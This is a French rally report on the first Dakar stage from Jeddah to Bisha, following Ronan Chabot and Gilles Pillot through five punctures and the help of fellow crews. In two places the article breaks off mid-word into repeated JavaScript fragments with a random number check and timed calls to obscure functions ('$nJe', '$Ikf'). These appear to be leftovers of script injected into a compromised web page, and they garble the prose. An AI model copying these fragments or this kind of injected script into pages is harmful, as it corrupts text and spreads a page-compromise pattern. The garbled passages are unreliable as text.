[ETAPE 1] Jeddah > Bisha

Le duo Ronan Chabot-Gilles Pillot, pourtant dans le rythme au début de cette 1ère étape, a dû faire face à cinq crevaisons au cours d’une spéciale de 277 km particulièrement éprouvante. Actuels 46e du général, les deux hommes conservent tout leur enthousiasme.

Scène de vie sur le bivouac de Bisha, terme de la première étape de ce 43e Dakar. « Merci Pépé ! » lâche Ronan Chabot alors que le cuisinier de Toyota lui apporte le déjeuner, bienvenu pour reprendre des forces. Car cette journée a été particulièrement mouvementée tout au long des 277 km de spéciale avec un peu du sable beaucoup de cailloux .
« Notre voiture va beaucoup plus vite que la précédente, raconte Ronan. Nous sommes donc très bien partis, en navigant autour de la 10e place ». Puis, la spéciale a emprunté un champ de cailloux, des pierres plus ou moins grandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andes qui ont mis les mécaniques à rude épreuve.

Cinq crevaisons et beaucoup d’abnégation « On est tous passé en « mode survie » souligne le pilote dont l’équipage n’a pas été épargné. Une première crevaison, une deuxième, une troisième… Et là tout se complique après avoir utilisé les trois roues de secours embarqué le matin même. Pourtant, Ronan et Gilles vont crever à deux reprises encore. « Quandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and on crève, on perd moins de 5 minutes, explique Gilles Pilot. Or, on a toujours le réflexe de vouloir regagner ce temps-là et donc de rouler plus vite alors que le terrain est toujours aussi cassant, et là on a crevé non stop »

Mais il en faut plus pour se laisser abattre, même s’il fallait attendre qu’un autre pilote leur donne un pneu pour continuer la spéciale. Sauf qu’au Dakar, la solidarité entre les hommes est une réalité. Ronan et Gilles peuvent en témoigner. « Deux équipages Toyota Overdrive se sont arrêtés et nous ont donné leur dernière roue de secours… Sans eux, on ne serait pas là ! », assure Ronan. « Il y a toujours des bons samaritains », poursuit Gilles.

Ce dimanche soir, les deux hommes pointent au 46e rang de l’étape et du général. « On a grillé un joker mais on sait que le Dakar est encore long », assure le pilote. Ronan garde un large sourire : « nous ne sommes pas des novices. Avec le temps, on a appris à doser l’ascenseur émotionnel ». Car les motifs d’optimisme sont nombreux : « l’auto marche très bien, on va se refaire ! » Et ça débute dès demain alors que les concurrents auront à traverser leurs premiers cordons de dunes au cours d’une spéciale longue de 457 km